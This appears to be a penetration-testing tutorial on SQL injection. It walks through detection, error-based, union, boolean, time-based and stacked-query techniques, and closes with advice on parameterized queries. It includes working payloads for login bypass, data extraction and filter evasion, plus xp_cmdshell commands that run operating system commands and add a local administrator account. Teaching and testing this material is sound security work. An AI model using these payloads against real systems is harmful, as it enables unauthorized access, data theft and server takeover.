Structured Query Language (SQL) is used all over the web and is potentially vulnerable to an injection attack any time that user input is insecurely concatenated into a query. An injection attack allows an attacker to alter the logic of the query and the attack can lead to confidential data theft, website defacement, malware propagation and host or network compromise.
SQL and a SQL Injection Primer
For those less familiar with SQL it is a language used for storing, retrieving, modifying and removing data from a database. It can often also be used to read or modify files on the remote system and execute operating system commands. There are many variations such as Microsoft SQL, MySQL or PostgreSQL.
There are different query types in SQL, such as SELECT, INSERT, UPDATE and DELETE as well as the idea of “Stored Procedures”. These are used for retrieving data from the database (SELECT), adding new rows to a table (INSERT), taking a table row and modifying it (UPDATE) or removing rows from a table (DELETE). There are many different stored procedures however an interesting one is the MSSQL procedures xp_cmdshell which can be used for executing commands on the remote database host.
SELECT Statements retrieve data from the database and look like:
SELECT column FROM table WHERE condition is true
For example the following could be used for a login system:
SELECT username,password FROM users WHERE username='$INPUT1$' AND password='$INPUT2$';
Where $INPUT1$ and $INPUT2$ is text taken from the user of the application. Statements are separated by semi-colons, so two statements could be “stacked” and executed one after the other by separating them with a semi-colon. Developers can add comments into a statement by preceding the comment with a ” −− ” before the comment, which makes the SQL parser ignore any following text.
The above statement concatenates user input into the query and is therefore vulnerable to SQL injection, as an attacker can simply add characters within $INPUT1$ or $INPUT2$ to alter the logic of the statement. Taking this into account an attacker could utilize the following payload for INPUT1 to cause a login bypass: x’ OR 1=1 −−
This works as the input would change the command to the following:
SELECT username,password FROM users WHERE username='x' OR 1=1 -- ' AND password='$INPUT2$';
As you can see from the above, the double dash has caused the password check to be “commented out” so that it has no effect. Also if you remember back to the first SQL command I showed highlights that the SELECT statement evaluates the WHERE clause to determine if it is a Boolean true. That’s what the OR 1=1 part of the input achieves, as one always equals one. The effect on many applications that are vulnerable to SQL injection in the login form is that all account data will be returned and the database will simply log in the attacker in as the first user in the database.
As you can see the attacker has altered the intended logic of the statement and they could use this to bypass authentication, cause the database to leak confidential information or even execute functions such as executing operating system commands.
Many times it can be tempting to leave SQL exploitation down to automated tools, but I recommend all juniour Penetration Testers get as deep into manual exploitation as they possible can so that they can really understand what the tool is up to, especially in preparation for the day that the tool fails and you’ve got to crack a can of caffeine and do it all manually.
Detecting Vulnerable Functions
Detecting SQL injection is fairly simple if errors are enabled and displayed in raw form to the user. If an attacker adds an apostrophe the the input it will cause an unbalanced number of quote marks and an error like “You have an error in your SQL syntax” will be shown, great you have a valid SQL injection point, however if errors are customized or simply not rendered to the user then you have to try a little harder! the most effective way to do this is to alter the query in such a way that it could only possibly be that you have successfully injected into SQL. So very SQL-like syntax being parsed in the expected way.
Consider he following query which loads a news article from the database to display on an fictitious web application:
SELECT id,title,content FROM tblArticles WHERE id=$input
Which is accessed through the following URL:
Now a simple way to determine is the parameter “id” is vulnerable to injection would be would be to try the following URLs and see how the server reacts:
http://sql.example.org/news?id=100 http://sql.example.org/news?id=101 http://sql.example.org/news?id=101-1
If the server is appropriately vulnerable it would be expected that the first and second URL show different articles whereas the third one is evaluated by the database and produces the same output as the first URL. If the statement 101-1 is not evaluated then there’ll be a notable change in output.
The above example, obviously, will only work on integer inputs, if the id parameter was instead a string input like this:
With the above case it’s possible to utilize string concatenation in a similar way, where if the string is evaluated and concatenated then the output should not change whereas if it is no evaluated then a noticeable change in output will occur. The method of concatenation differs between back-end database types however if one works you have the added benefit of fingerprinting the database type!
MSSQL: exa'+'mple With URLs a + is space, use %2b instead (URI encoded plus sign)! MySQL: exa' 'mple (that's a space between two apostrophes) Oracle: exa'||'mple
An additional way of detecting of detecting functions that are vulnerable is to concatenate a simple conditional at the end of the input, such as:
AND 1=1 -- AND 1=2 --
The idea with these payloads is that the top option of 1=1 will not alter the logic of the query in anyway (as 1 does in fact equal 1) although the second payload will break the query and therefore the application would operate in a noticeably different way, such as missing text on the page (and therefore a shorter content length), a faster response time, a visible error or a different status code. The application should also have the same effect regardless of what the conditional was, so 1=1, 2=2 and 3=3 should all have the same effect, as should payloads such as:
AND (SELECT @@version)=(SELECT @@version) --
The above payload is useful because its very SQL-like and whilst there may be some application logic which interprets 1=1 it’s very unlikely that outside of a SQL injection context you’ll get the same response from the above payload. It’s important to note however, that this payload is vendor specific, so the above will work on MSSQL and MySQL but not PostgreSQL. There’s a suitable payload for each of the backends however. The PostgreSQL equivalent would be:
AND (SELECT version())=(SELECT version()) --
Types of Injection
Whilst the above example is a simple demonstration of SQL and how injection can be use to the benefit of an attacker, as the attacker has the full flexibility of SQL at their disposal there is much more that they can do than simply bypassing an application’s login form. There are different types of injection covered within this article are:
In terms of injection it’s not exactly a case of preference but simply what is available in the context of the vulnerable parameter. You’ll definitely prefer to find Union or Error based over Boolean and Time based due to the effort levels required to exploit them but you’ll have to deal with what you’re given when it comes down to it. Different injection types will be available depending on the original query which you are injecting into as well as any filters that are in place to prevent malicious input.
There are five injection types and I’ll cover them each in turn, once you get the hang of the first however the others operate much as you’d expect but I’ll run through a full working example of each to make sure there’s no important details missed out, plus it’ll show how I generate payloads and build up from detection to data exfiltration.
Error-based SQL injection comes about when errors from the SQL database are exposed to the attacker by being embedded in application responses. Detection is generally as simple as placing an apostrophe in the parameter an you’d receive an error along the lines of:
Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string
The exact error depends on the backend database. These errors can be controlled and by crafting input you can cause the error to contain data from the database itself. For example, if you are injecting into an integer input you can cause a type clash which will disclose information like this:
AND 1 in (SELECT @@version)
with input like this you’ll get an error along the following lines:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP1) - 10.50.2500.0 (X64) Jun 17 2011 00:54:03 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hypervisor)' to data type int.
This works as the database attempts to convert the string to an integer, cannot, and throws an error that reveals the information. This means that an attacker can place any select statement that returns a string within the brackets of the payload and the error will contain the desired output. However it’s a touch more complex if you’re injecting into a string, but only a touch. As you couldn’t cause a cast error by converting to an integer you can expand the payload to be something along these lines:
AND 1 IN (SELECT 'Extract:' + CAST((SELECT 1) as varchar(4096))) --
Here you can replace (SELECT 1) with the SQL statement you would like to execute and retrieve the contents from. The way that this injection works is to concatenate the desired data onto the end of the string “Extract” and then attempts to cast that to an integer which causes an error, so in the case of the example the resulting error would be:
Error Type: Microsoft SQL Native Client (0x80040E07) Conversion failed when converting the varchar value 'Extract:1' to data type int.
So an attacker can effective run arbitrary SQL statements and capture the output easily if errors are embedded within the application. If errors are gracefully handled however this doesn’t stop an attacker completely, they just have to use a different injection technique.
The UNION operator allows two or more SELECT statements to be combined, the idea being that a developer may run a query such as listing all of the products available in a store and an attacker can combine this with an additional query, such as listing all of the usernames and passwords in the customers table.
To utilise a union though the attacker must request the same number (and type) as the original query and therefore needs to know how many columns are being used. There are two ways to do this, the first is to use NULLs in place of the columns to determine how many columns there are, such as:
UNION SELECT NULL -- UNION SELECT NULL, NULL -- UNION SELECT NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL --
…and continue until you’ve determined how many columns there are – if you get the incorrect number of columns an error condition will occur and if you get the right number then the application will run unhindered. You can then swap out the NULL with datatypes to determine which ones are correct, such as:
UNION SELECT 'abcd', NULL, NULL, NULL -- UNION SELECT 1, NULL, NULL, NULL --
Work them out one at a time until you end up with something like this:
UNION SELECT 1, 'string', 'string', 'string' --
At this point you have a working SELECT statement where the output will be appended to the normal output the application gives!
If you’ve got a lot of columns and writing out all of those NULLs is too much like hard work there’s another method of doing the original column count enumeration, using ORDER BYs. If you attempt to order by a column number which is higher than the number of columns it’ll throw an error. So you can start low and work up until you see an error:
ORDER BY 1 -- ORDER BY 2 -- ORDER BY 3 -- ORDER BY 4 --
If the application gracefully errors, and it’s not possible to combine queries with UNION, then an attacker can use inference to determine the answer to queries about the database. The payloads we used earlier to prove the existence of injection are simple examples of this:
AND 1=1 -- AND 1=2 --
Essentially these are asking yes or no questions of the database and the result shows the answer. “Does 1=1?” Yes of course it does and therefore the normal output of the application will be visible. “Does 1=2”? No it does not and therefore there should be a noticeable chance, this could be in the response length, time of execution, or HTTP response code (just like before).
However we can expand up on this idea to ask more in-depth questions of the database, as long as we can phrase them as Yes/No questions. For example, “Is the first letter of the current user the letter ‘a'”? That’d look something like this:
AND SUBSTR(SELECT user_name(), 1, 1)='a' --
We can cycle through: b, c, d, e until we get a “true” response – then move on to the second character and so on. A time consuming and request intensive process but it can be automated quite easily with python (or Burp Intruder!)
If the application does not embed responses so you can’t use UNION, if it doesn’t show error messages an it’s not possible to determine the output of a boolean then there is still hope! If you can’t infer the output to a boolean through application responses you can add a notable difference yourself through time delays.
Effectively using IF statements and delays you can ask the application “Does A=A? If so, please delay your response by five seconds and if not then immediately respond”. Then by detecting lag in the response you’ll get your answer! Simple…but very time consuming…
A payload like this will work for MSSQL:
IF('a'='a') WAITFOR DELAY '0:0:5' --
Then you can simply replace the ‘a’=’a’ with whatever yes/no question it was that you’d like to ask.
Stacked Queries (and possibly command execution!)
A final thing which is worth noting, is that it may be possible to close off the developers query and start a completely new query from scratch, something as simple as:
; WAITFOR DELAY '0:0:5'; --
If this works you’ll get a delay as you did in the previous example, however as you’re able to execute new full queries it is also potentially possible to execute stored procedures – such as xp_cmdshell on MSSQL. This stored procedure allows for the execution of operating system commands on the database server. There are two problems. The first problem is, on modern MSSQL servers xp_cmdshell is disabled by default…but you can re-enable it through SQL Injection! The second problem is that to execute this procedure, you probably need to be running as the sa user. If you’re lucky those and you are sa, here’s the steps to execute OS commands:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Now that’s done, you can go ahead and use the xp_cmdshell:
exec master..xp_cmdshell 'dir c:'; --
That’ll execute the dir command! One…small hitch…the output of the command isn’t returned…an easy way to get around that would be to just attack the application blind, for example:
exec master..xp_cmdshell 'net user foobar Password123 /add'; -- exec master..xp_cmdshell 'net localgroups "Administrators" /add'; --
The above command adds a new local administrator to the remote server. That might help. Alternatively you can redirect the output of the executed command to a database table and read the contents of the table through SQL injection!
You can create a table and store the output of a command to it with the following:
; create table #output (id int identity(1,1), output nvarchar(255) null); ; insert #output (output) exec @rc = master..xp_cmdshell 'dir c:';
Then to read the contents out with a SELECT statement like this one:
; select * from #output where output is not null order by id;
A quick note on filter evasion…
If there’s a filter in place to prevent the execution of payloads above then there are a few things to try. First of all be aware that you can flip case without any problem:
Also if whitespace is filtered, then you can replace spaces with comments for the same effect:
AND 1=1 -- /**/AND/**/1=1/**/--
Finally if you can’t comment out the end of a query you can “gracefully close” the statement instead:
' AND 1=1 -- ' AND 1=1 OR 'a'='a
Defending against Injection
As I said at the start of this article the issue really is that user input is insecurely concatenated into a query. So there’s two things to note here, the first is concatenation and the fix here is instead to use “parametrized” or “prepared” statements, these are available in all modern languages and frameworks, these effectively separate the query from the user input so that the database cannot mix the two up and effectively stop SQL injection attacks on their own. An example for PHP can be found in the PHP documentation here, which gives a flavour of the general idea.
However another thing to consider, to stop other kinds of injection and web application attack, it’s a good idea to consider filtering all user input. I’ve written about user input filtering tactics here.